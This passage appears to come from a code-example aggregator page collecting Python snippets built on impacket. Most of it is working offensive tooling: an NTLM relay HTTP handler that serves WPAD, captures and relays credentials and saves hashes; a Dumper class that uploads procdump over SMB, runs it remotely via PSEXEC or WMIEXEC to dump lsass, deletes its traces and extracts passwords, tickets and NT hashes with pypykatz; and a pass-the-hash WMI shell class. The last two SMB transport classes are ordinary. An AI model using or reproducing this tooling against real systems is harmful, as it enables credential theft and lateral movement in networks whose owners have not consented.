        respSMBCommand['SecurityBufferOffset'] = 0x48
        respSMBCommand['SecurityBufferLength'] = len(respToken)
        respSMBCommand['Buffer'] = respToken.getData()

        smbServer.setConnectionData(connId, connData)

        return [respSMBCommand], None, errorCode
示例#15
0
        def do_GET(self):
            messageType = 0
            if self.server.config.mode == 'REDIRECT':
                self.do_SMBREDIRECT()
                return

            LOG.info('HTTPD: Client requested path: %s' % self.path.lower())

            # Serve WPAD if:
            # - The client requests it
            # - A WPAD host was provided in the command line options
            # - The client has not exceeded the wpad_auth_num threshold yet
            if self.path.lower() == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad(self.client_address[0]):
                LOG.info('HTTPD: Serving PAC file to client %s' % self.client_address[0])
                self.serve_wpad()
                return

            # Determine if the user is connecting to our server directly or attempts to use it as a proxy
            if self.command == 'CONNECT' or (len(self.path) > 4 and self.path[:4].lower() == 'http'):
                proxy = True
            else:
                proxy = False

            if PY2:
                proxyAuthHeader = self.headers.getheader('Proxy-Authorization')
                autorizationHeader = self.headers.getheader('Authorization')
            else:
                proxyAuthHeader = self.headers.get('Proxy-Authorization')
                autorizationHeader = self.headers.get('Authorization')

            if (proxy and proxyAuthHeader is None) or (not proxy and autorizationHeader is None):
                self.do_AUTHHEAD(message = b'NTLM',proxy=proxy)
                pass
            else:
                if proxy:
                    typeX = proxyAuthHeader
                else:
                    typeX = autorizationHeader
                try:
                    _, blob = typeX.split('NTLM')
                    token = base64.b64decode(blob.strip())
                except Exception:
                    LOG.debug("Exception:", exc_info=True)
                    self.do_AUTHHEAD(message = b'NTLM', proxy=proxy)
                else:
                    messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

            if messageType == 1:
                if not self.do_ntlm_negotiate(token, proxy=proxy):
                    #Connection failed
                    LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target',
                              self.target.scheme, self.target.netloc)
                    self.server.config.target.logTarget(self.target)
                    self.do_REDIRECT()
            elif messageType == 3:
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)
                d1 = 315
                d2 = 5
                print('[GPOTATO] WAITING %s SECONDS FOR CHALLENGE TIMEOUT' % (d1))
                time.sleep(d1)
                print('[GPOTATO] FLUSHING CHALLENGE CACHE NOW')
                try:
                    tempSmbConAddress = self.target.netloc.split(':')[0]
                    tempSmbCon = SMBConnection(tempSmbConAddress, tempSmbConAddress)
                    tempSmbCon.login('MADCOW', 'MADCOW', 'MADCOW')
                    tempSmbCon.close()
                except Exception as e:
                    print('[GPOTATO] DONE: %s' % str(e))
                print('[GPOTATO] WAITING ADDITIONAL %s SECONDS' % (d2))
                time.sleep(d2)
                print('[GPOTATO] AUTHENTICATING...')

                if not self.do_ntlm_auth(token,authenticateMessage):
                    if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
                        LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
                            self.target.scheme, self.target.netloc,
                            authenticateMessage['domain_name'].decode('utf-16le'),
                            authenticateMessage['user_name'].decode('utf-16le')))
                    else:
                        LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
                            self.target.scheme, self.target.netloc,
                            authenticateMessage['domain_name'].decode('ascii'),
                            authenticateMessage['user_name'].decode('ascii')))

                    # Only skip to next if the login actually failed, not if it was just anonymous login or a system account
                    # which we don't want
                    if authenticateMessage['user_name'] != '': # and authenticateMessage['user_name'][-1] != '$':
                        self.server.config.target.logTarget(self.target)
                        # No anonymous login, go to next host and avoid triggering a popup
                        self.do_REDIRECT()
                    else:
                        # If it was an anonymous login, send 401
                        self.do_AUTHHEAD(b'NTLM', proxy=proxy)
                else:
                    # Relay worked, do whatever we want here...
                    if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
                        LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
                            self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'),
                            authenticateMessage['user_name'].decode('utf-16le')))
                    else:
                        LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
                            self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),
                            authenticateMessage['user_name'].decode('ascii')))

                    ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],
                                                        authenticateMessage['user_name'],
                                                        authenticateMessage['domain_name'],
                                                        authenticateMessage['lanman'], authenticateMessage['ntlm'])
                    self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                    if self.server.config.outputFile is not None:
                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile)

                    self.server.config.target.logTarget(self.target, True, self.authUser)

                    self.do_attack()

                    # And answer 404 not found
                    try:
                        self.send_response(404)
                        self.send_header('WWW-Authenticate', 'NTLM')
                        self.send_header('Content-type', 'text/html')
                        self.send_header('Content-Length','0')
                        self.send_header('Connection','close')
                        self.end_headers()
                    except:
                        pass
            return
示例#16
0
class Dumper:
    def __init__(self, username, password, domain, target, auth, hashes):
        self.target = target
        self.auth = auth
        if domain is None:
            domain = ""
        self.credentials = {
            "username": username,
            "password": password,
            "domain": domain,
            "hashes": hashes,
        }
        if self.credentials["hashes"] != "":
            self.credentials["hashes"] = self.credentials["hashes"].lower()
            self.credentials["lm_hash"] = self.credentials["hashes"].split(
                ":")[0]
            self.credentials["nt_hash"] = self.credentials["hashes"].split(
                ":")[1]
        else:
            self.credentials["hashes"] = None
            self.credentials["lm_hash"] = ""
            self.credentials["nt_hash"] = ""
        self.smb = SMBConnection(self.target,
                                 self.target,
                                 sess_port=445,
                                 timeout=4)
        self.host_info = self.enum_host_info()

    def enum_host_info(self):
        print("Performing enumeration")
        info_dict = {}
        self.smb.login(
            user=self.credentials["username"],
            password=self.credentials["password"],
            domain=self.credentials["domain"],
            nthash=self.credentials["nt_hash"],
            lmhash=self.credentials["lm_hash"],
        )
        os = self.smb.getServerOS()
        arch = self.get_arch()
        domain = self.smb.getServerDomain()
        info_dict.update({"target": self.target})
        info_dict.update({"os": os})
        info_dict.update({"domain": domain})
        info_dict.update({"arch": arch})
        print("Done")
        return info_dict

    def get_arch(self):
        options = Namespace()
        options.target = self.target
        NDR64Syntax = ("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0")
        try:
            stringBinding = r"ncacn_ip_tcp:%s[135]" % self.target
            transport = DCERPCTransportFactory(stringBinding)
            transport.set_connect_timeout(2)
            dce = transport.get_dce_rpc()
            dce.connect()
            try:
                dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=NDR64Syntax)
            except DCERPCException as e:
                if str(e).find("syntaxes_not_supported") >= 0:
                    return 32
                else:
                    print(str(e))
                    pass
            else:
                return 64

            dce.disconnect()
        except Exception as e:
            print(f"{self.target}, {str(e)}")
            print(f"Failed to determine {self.target} architecture")
            print("Attempt to proceed with 32 bit procdump")
            return 32

    def upload_file(self):
        print("Uploading file")
        if self.host_info["arch"] == 64:
            src = src_x64
            filename = re.sub(r"\d+", "", path.basename(src))
            self.smb.putFile("C$", "/Users/Public/Documents/" + filename,
                             open(src, "rb").read)
        elif self.host_info["arch"] == 32:
            src = src_x32
            filename = re.sub(r"\d+", "", path.basename(src))
            self.smb.putFile("C$", "/Users/Public/Documents/" + filename,
                             open(src, "rb").read)
        else:
            print("Something went wrong")
            sys.exit(1)
        print("Done")

    def exec_procdump(self):
        print("Executing procdump")
        if self.credentials["password"] != "":
            password = self.credentials["password"]
        else:
            password = ""
        if self.auth == "psexec":
            executer = PSEXEC(
                "C:\\Users\\Public\\Documents\\procdump.exe -accepteula > nul",
                None,
                None,
                None,
                int(445),
                self.credentials["username"],
                password,
                self.credentials["domain"],
                self.credentials["hashes"],
                None,
                False,
                None,
                "",
            ).run(self.target, self.target)
            if self.host_info["arch"] == 64:
                executer = PSEXEC(
                    "C:\\Users\\Public\\Documents\\procdump.exe -ma -64 lsass.exe C:\\Users\\Public\\Documents\\lsass_dump",
                    None,
                    None,
                    None,
                    int(445),
                    self.credentials["username"],
                    password,
                    self.credentials["domain"],
                    self.credentials["hashes"],
                    None,
                    False,
                    None,
                    "",
                )
            else:
                executer = PSEXEC(
                    "C:\\Users\\Public\\Documents\\procdump.exe -ma lsass.exe C:\\Users\\Public\\Documents\\lsass_dump",
                    None,
                    None,
                    None,
                    int(445),
                    self.credentials["username"],
                    password,
                    self.credentials["domain"],
                    self.credentials["hashes"],
                    None,
                    False,
                    None,
                    "",
                )
            executer.run(remoteName=self.target, remoteHost=self.target)
        elif self.auth == "wmiexec":
            executer = WMIEXEC(
                command=
                "C:\\Users\\Public\\Documents\\procdump.exe -accepteula > nul",
                username=self.credentials["username"],
                password=password,
                domain=self.credentials["domain"],
                hashes=self.credentials["hashes"],
                aesKey=None,
                share="C$",
                noOutput=False,
                doKerberos=False,
                kdcHost=None,
            ).run(self.target)
            if self.host_info["arch"] == 64:
                executer = WMIEXEC(
                    command=
                    "C:\\Users\\Public\\Documents\\procdump.exe -ma -64 lsass.exe C:\\Users\\Public\\Documents\\lsass_dump",
                    username=self.credentials["username"],
                    password=password,
                    domain=self.credentials["domain"],
                    hashes=self.credentials["hashes"],
                    aesKey=None,
                    share="C$",
                    noOutput=False,
                    doKerberos=False,
                    kdcHost=None,
                )
            else:
                executer = WMIEXEC(
                    command=
                    "C:\\Users\\Public\\Documents\\procdump.exe -ma -64 lsass.exe C:\\Users\\Public\\Documents\\lsass_dump",
                    username=self.credentials["username"],
                    password=password,
                    domain=self.credentials["domain"],
                    hashes=self.credentials["hashes"],
                    aesKey=None,
                    share="C$",
                    noOutput=False,
                    doKerberos=False,
                    kdcHost=None,
                )
            executer.run(self.target)
        print("Done")

    def dump_lsass(self):
        print("Dumping")
        self.smb.getFile(
            "C$",
            "/Users/Public/Documents/lsass_dump.dmp",
            open("lsass_dump.dmp", "wb").write,
        )
        print("Done")

    def clear_out(self):
        print("Starting ClearOut")
        self.smb.deleteFile("C$", "/Users/Public/Documents/lsass_dump.dmp")
        self.smb.deleteFile("C$", "/Users/Public/Documents/procdump.exe")
        self.smb.close()
        print("ClearOut Done")

    # def clean_up(self):
    #     print("Searching for files")
    #     if self.credentials["password"] != "":
    #         password = self.credentials["password"]
    #     else:
    #         password = ""
    #     if self.auth == "psexec":
    #         executer = PSEXEC(
    #             "dir C:\\Users\\Public\\Documents | ?{._name -match 'lsass_dump.*?.dmp$'}",
    #             None,
    #             None,
    #             None,
    #             int(445),
    #             self.credentials["username"],
    #             password,
    #             self.credentials["domain"],
    #             self.credentials["hashes"],
    #             None,
    #             False,
    #             None,
    #             "",
    #         ).run(self.target, self.target)
    #     elif self.auth == "wmiexec":
    #         executer = WMIEXEC(
    #             command="dir C:\\Users\\Public\\Documents | ?{._name -match 'lsass_dump.*?.dmp$'}",
    #             username=self.credentials["username"],
    #             password=password,
    #             domain=self.credentials["domain"],
    #             hashes=self.credentials["hashes"],
    #             aesKey=None,
    #             share="C$",
    #             noOutput=False,
    #             doKerberos=False,
    #             kdcHost=None,
    #         ).run(self.target)
    #     # self.smb.login(
    #     #     user=self.credentials["username"],
    #     #     password=self.credentials["password"],
    #     #     domain=self.credentials["domain"],
    #     #     nthash=self.credentials["nt_hash"],
    #     #     lmhash=self.credentials["lm_hash"],
    #     # )
    #
    #     pdb.set_trace()

    @staticmethod
    def dump_to_pypykatz(dump_file="./lsass_dump.dmp"):
        print("Pypykatz doing his job...")

        cmdhelpers = [
            LSACMDHelper(),
            RegistryCMDHelper(),
            CryptoCMDHelper(),
            LDAPCMDHelper(),
            KerberosCMDHelper(),
            RemoteCMDHelper(),
        ]
        args = Namespace()
        args.cmd = "minidump"

        args.command = "lsa"
        args.directory = False
        args.halt_on_error = False
        args.json = True
        args.kerberos_dir = False
        args.memoryfile = dump_file
        args.outfile = "temp_report.json"
        args.recursive = False
        args.timestamp_override = None
        args.verbose = 0

        for helper in cmdhelpers:
            helper.execute(args)
        print("Removing dump file")
        os.remove(dump_file)
        print("Done")

    @staticmethod
    def create_report(filename, verbose):
        print("Creating report")
        with open("./temp_report.json", "r") as jf:
            parsed = json.load(jf)["./lsass_dump.dmp"]
            with open(filename, "w") as report:
                for el in parsed["logon_sessions"]:
                    temp = parsed["logon_sessions"][el]
                    if len(temp["kerberos_creds"]) > 0:
                        for cr in temp["kerberos_creds"]:
                            if cr["username"] is not None:
                                if cr["password"] is not None:
                                    if verbose == 1:
                                        report.write(
                                            f"From Kerberos (Domain/username:password) -- {cr['domainname']} / {cr['username']}:{cr['password']}\n"
                                        )
                                    else:
                                        report.write(
                                            f"{cr['domainname']} / {cr['username']}:{cr['password']}\n"
                                        )
                                elif len(cr["tickets"]) > 0:
                                    if verbose == 1:
                                        report.write(
                                            f"From Kerberos (Domain/username:tickets) -- {cr['domainname']} / {cr['username']}:{cr['tickets']}\n"
                                        )
                                    else:
                                        report.write(
                                            f"Tickets--{cr['domainname']} / {cr['username']}:{cr['tickets']}\n"
                                        )
                    if len(temp["livessp_creds"]) > 0:
                        report.write("Did not expect creds to be in livessp\n")
                    if len(temp["ssp_creds"]) > 0:
                        for cr in temp["ssp_creds"]:
                            if cr["username"] is not None:
                                if cr["password"] is not None:
                                    if verbose == 1:
                                        report.write(
                                            f"From SSP (Domain/username:password) -- {cr['domainname']}/{cr['username']}:{cr['password']}\n"
                                        )
                                    else:
                                        report.write(
                                            f"{cr['domainname']}/{cr['username']}:{cr['password']}\n"
                                        )
                    if len(temp["wdigest_creds"]) > 0:
                        for cr in temp["wdigest_creds"]:
                            if cr["username"] is not None:
                                if cr["password"] is not None:
                                    if verbose == 1:
                                        report.write(
                                            f"From Wdigest (Domain/username:password) -- {cr['domainname']} / {cr['username']}:{cr['password']}\n"
                                        )
                                    else:
                                        report.write(
                                            f"{cr['domainname']} / {cr['username']}:{cr['password']}\n"
                                        )
                    if len(temp["msv_creds"]) > 0:
                        for cr in temp["msv_creds"]:
                            if cr["username"] is not None:
                                if cr["NThash"] is not None:
                                    if verbose == 1:
                                        report.write(
                                            f"From MSV (Domain/username:NThash) -- {cr['domainname']} / {cr['username']}:{cr['NThash']}\n"
                                        )
                                    else:
                                        report.write(
                                            f"NTHASH--{cr['domainname']} / {cr['username']}:{cr['NThash']}\n"
                                        )

                for el in parsed["orphaned_creds"]:
                    if "username" in el.keys() and el["username"] is not "":
                        if el["password"] is not None:
                            if verbose == 1:
                                report.write(
                                    f"From orphaned creds (Domain/username:password) -- {el['domainname']} / {el['username']}:{el['password']}\n"
                                )
                            else:
                                report.write(
                                    f"{el['domainname']} / {el['username']}:{el['password']}\n"
                                )
                        elif "tickets" in el.keys() and len(el["tickets"]) > 0:
                            if verbose == 1:
                                report.write(
                                    f"From orphaned creds (Domain/username:tickets) -- {el['domainname']} / {el['username']}:{el['tickets']}\n"
                                )
                            else:
                                report.write(
                                    f"Tickets--{el['domainname']} / {el['username']}:{el['tickets']}\n"
                                )
        os.remove("./temp_report.json")
        print("Done :)")

    def run(self):
        self.upload_file()
        self.exec_procdump()
        self.dump_lsass()
        self.clear_out()
示例#17
0
class Wmiexec:
    OUTPUT_FILENAME = "__" + str(time.time())

    def __init__(self,
                 ip,
                 username,
                 hashes,
                 password="",
                 domain="",
                 share="ADMIN$",
                 secrets_dir=None):
        self.__ip = ip
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__lmhash, self.__nthash = hashes.split(":")
        self.__share = share
        self.__secrets_dir = secrets_dir
        self.shell = None

    def connect(self):
        self.smbConnection = SMBConnection(self.__ip, self.__ip)
        self.smbConnection.login(
            user=self.__username,
            password=self.__password,
            domain=self.__domain,
            lmhash=self.__lmhash,
            nthash=self.__nthash,
        )

        self.dcom = DCOMConnection(
            target=self.__ip,
            username=self.__username,
            password=self.__password,
            domain=self.__domain,
            lmhash=self.__lmhash,
            nthash=self.__nthash,
            oxidResolver=True,
        )

        try:
            iInterface = self.dcom.CoCreateInstanceEx(
                wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
            self.iWbemServices = iWbemLevel1Login.NTLMLogin(
                "//./root/cimv2", NULL, NULL)
            iWbemLevel1Login.RemRelease()

        except (Exception, KeyboardInterrupt) as e:
            LOG.error(str(e))
            self.smbConnection.logoff()
            self.dcom.disconnect()

    def get_remote_shell(self):
        self.connect()
        win32Process, _ = self.iWbemServices.GetObject("Win32_Process")
        self.shell = RemoteShell(self.__share, win32Process,
                                 self.smbConnection, self.OUTPUT_FILENAME,
                                 self.__secrets_dir)
        return self.shell

    def close(self):
        self.smbConnection.close()
        self.smbConnection = None
        self.dcom.disconnect()
        self.dcom = None
示例#18
0
class SMBTransport(DCERPCTransport):
    """Implementation of ncacn_np protocol sequence"""

    def __init__(self, remoteName, dstport=445, filename='', username='', password='', domain='', lmhash='', nthash='',
                 aesKey='', TGT=None, TGS=None, remote_host='', smb_connection=0, doKerberos=False, kdcHost=None):
        DCERPCTransport.__init__(self, remoteName, dstport)
        self.__socket = None
        self.__tid = 0
        self.__filename = filename
        self.__handle = 0
        self.__pending_recv = 0
        self.set_credentials(username, password, domain, lmhash, nthash, aesKey, TGT, TGS)
        self._doKerberos = doKerberos
        self._kdcHost = kdcHost

        if remote_host != '':
            self.setRemoteHost(remote_host)

        if smb_connection == 0:
            self.__existing_smb = False
        else:
            self.__existing_smb = True
            self.set_credentials(*smb_connection.getCredentials())

        self.__prefDialect = None
        self.__smb_connection = smb_connection

    def preferred_dialect(self, dialect):
        self.__prefDialect = dialect

    def setup_smb_connection(self):
        if not self.__smb_connection:
            self.__smb_connection = SMBConnection(self.getRemoteName(), self.getRemoteHost(), sess_port=self.get_dport(),
                                                  preferredDialect=self.__prefDialect)
            if self._strict_hostname_validation:
                self.__smb_connection.setHostnameValidation(self._strict_hostname_validation, self._validation_allow_absent, self._accepted_hostname)

    def connect(self):
        # Check if we have a smb connection already setup
        if self.__smb_connection == 0:
            self.setup_smb_connection()
            if self._doKerberos is False:
                self.__smb_connection.login(self._username, self._password, self._domain, self._lmhash, self._nthash)
            else:
                self.__smb_connection.kerberosLogin(self._username, self._password, self._domain, self._lmhash,
                                                    self._nthash, self._aesKey, kdcHost=self._kdcHost, TGT=self._TGT,
                                                    TGS=self._TGS)
        self.__tid = self.__smb_connection.connectTree('IPC$')
        self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename)
        self.__socket = self.__smb_connection.getSMBServer().get_socket()
        return 1

    def disconnect(self):
        self.__smb_connection.disconnectTree(self.__tid)
        # If we created the SMB connection, we close it, otherwise
        # that's up for the caller
        if self.__existing_smb is False:
            self.__smb_connection.logoff()
            self.__smb_connection.close()
            self.__smb_connection = 0

    def send(self,data, forceWriteAndx = 0, forceRecv = 0):
        if self._max_send_frag:
            offset = 0
            while 1:
                toSend = data[offset:offset+self._max_send_frag]
                if not toSend:
                    break
                self.__smb_connection.writeFile(self.__tid, self.__handle, toSend, offset = offset)
                offset += len(toSend)
        else:
            self.__smb_connection.writeFile(self.__tid, self.__handle, data)
        if forceRecv:
            self.__pending_recv += 1

    def recv(self, forceRecv = 0, count = 0 ):
        if self._max_send_frag or self.__pending_recv:
            # _max_send_frag is checked because it's the same condition we checked
            # to decide whether to use write_andx() or send_trans() in send() above.
            if self.__pending_recv:
                self.__pending_recv -= 1
            return self.__smb_connection.readFile(self.__tid, self.__handle, bytesToRead = self._max_recv_frag)
        else:
            return self.__smb_connection.readFile(self.__tid, self.__handle)

    def get_smb_connection(self):
        return self.__smb_connection

    def set_smb_connection(self, smb_connection):
        self.__smb_connection = smb_connection
        self.set_credentials(*smb_connection.getCredentials())
        self.__existing_smb = True

    def get_smb_server(self):
        # Raw Access to the SMBServer (whatever type it is)
        return self.__smb_connection.getSMBServer()

    def get_socket(self):
        return self.__socket

    def doesSupportNTLMv2(self):
        return self.__smb_connection.doesSupportNTLMv2()
示例#19
0
class SMBTransport(DCERPCTransport):
    """Implementation of ncacn_np protocol sequence"""

    def __init__(self, target, credential = SMBCredential(), filename='', smb_connection=None):
        DCERPCTransport.__init__(self, target)
        self.__socket = None
        self.__tid = 0
        self.__filename = filename
        self.__handle = 0
        self.__pending_recv = 0
        self.__credential = credential
        self.set_credentials(credential)

        if target.hostname is not None:
            self.setRemoteHost(target.hostname)

        if smb_connection is None:
            self.__existing_smb = False
        else:
            self.__existing_smb = True
            self.set_credentials(smb_connection.getCredentials())

        self.__prefDialect = None
        self.__smb_connection = smb_connection

    def preferred_dialect(self, dialect):
        self.__prefDialect = dialect

    def setup_smb_connection(self):
        if not self.__smb_connection:
            self.__smb_connection = SMBConnection(self.getRemoteName(), self.getRemoteHost(), sess_port=self.get_dport(),
                                                  preferredDialect=self.__prefDialect)

    def connect(self):
        # Check if we have a smb connection already setup
        if self.__smb_connection is None:
            self.setup_smb_connection()
            if self._doKerberos is False:
                self.__smb_connection.login(self.__credential)
            else:
                self.__smb_connection.kerberos_login(self.__credential)
        self.__tid = self.__smb_connection.connectTree('IPC$')
        self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename)
        self.__socket = self.__smb_connection.getSMBServer().get_socket()
        return 1

    def disconnect(self):
        self.__smb_connection.disconnectTree(self.__tid)
        # If we created the SMB connection, we close it, otherwise
        # that's up for the caller
        if self.__existing_smb is False:
            self.__smb_connection.logoff()
            self.__smb_connection.close()
            self.__smb_connection = None

    def send(self,data, forceWriteAndx = 0, forceRecv = 0):
        if self._max_send_frag:
            offset = 0
            while 1:
                toSend = data[offset:offset+self._max_send_frag]
                if not toSend:
                    break
                self.__smb_connection.writeFile(self.__tid, self.__handle, toSend, offset = offset)
                offset += len(toSend)
        else:
            self.__smb_connection.writeFile(self.__tid, self.__handle, data)
        if forceRecv:
            self.__pending_recv += 1

    def recv(self, forceRecv = 0, count = 0 ):
        if self._max_send_frag or self.__pending_recv:
            # _max_send_frag is checked because it's the same condition we checked
            # to decide whether to use write_andx() or send_trans() in send() above.
            if self.__pending_recv:
                self.__pending_recv -= 1
            return self.__smb_connection.readFile(self.__tid, self.__handle, bytesToRead = self._max_recv_frag)
        else:
            return self.__smb_connection.readFile(self.__tid, self.__handle)

    def get_smb_connection(self):
        return self.__smb_connection

    def set_smb_connection(self, smb_connection):
        self.__smb_connection = smb_connection
        self.set_credentials(smb_connection.getCredentials())
        self.__existing_smb = True

    def get_smb_server(self):
        # Raw Access to the SMBServer (whatever type it is)
        return self.__smb_connection.getSMBServer()

    def get_socket(self):
        return self.__socket

    def doesSupportNTLMv2(self):
        return self.__smb_connection.doesSupportNTLMv2()